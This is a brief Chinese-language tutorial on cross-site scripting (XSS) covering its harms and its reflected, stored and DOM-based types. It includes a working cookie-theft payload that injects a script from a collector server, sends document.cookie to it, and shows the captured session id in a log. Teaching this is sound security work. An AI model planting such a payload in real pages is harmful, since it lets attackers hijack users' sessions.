XSS
Cross Site Scripting(跨站脚本攻击)是客户端脚本安全中的头号大敌,它通过在页面中注入脚本,然后触发执行,获取相应的权限。
xss 攻击危害
- 获取Cookie
- 网络钓鱼
- 劫持会话
- 传播xss蠕虫
xss攻击分类
反射型XSS
反射型XSS只是简单地把用户输入的数据“反射”给浏览器。黑客往往需要诱惑用户“点击”一个恶意链接,才能攻击成功。
存储型
存储型XSS会把用户输入的数据“存储”在服务器,这种XSS具有很强的稳定性。
基于DOM
从效果来说也是一种反射型XSS
常见XSS(html/css/js/DOM)
XSS获取Cookie
在html注入<script src="http://192.168.31.235:3001/javascripts/evil.js"></script>
// evil.js
var img = document.createElement('img');
img.src = 'http://192.168.31.235:3001/log?cookie=' + escape(document.cookie);
document.body.appendChild(img);
执行js,文档加载图片,同时把document.cookie
发送到3001服务器。
3001后台日志
GET /log?cookie=connect.sid%3Ds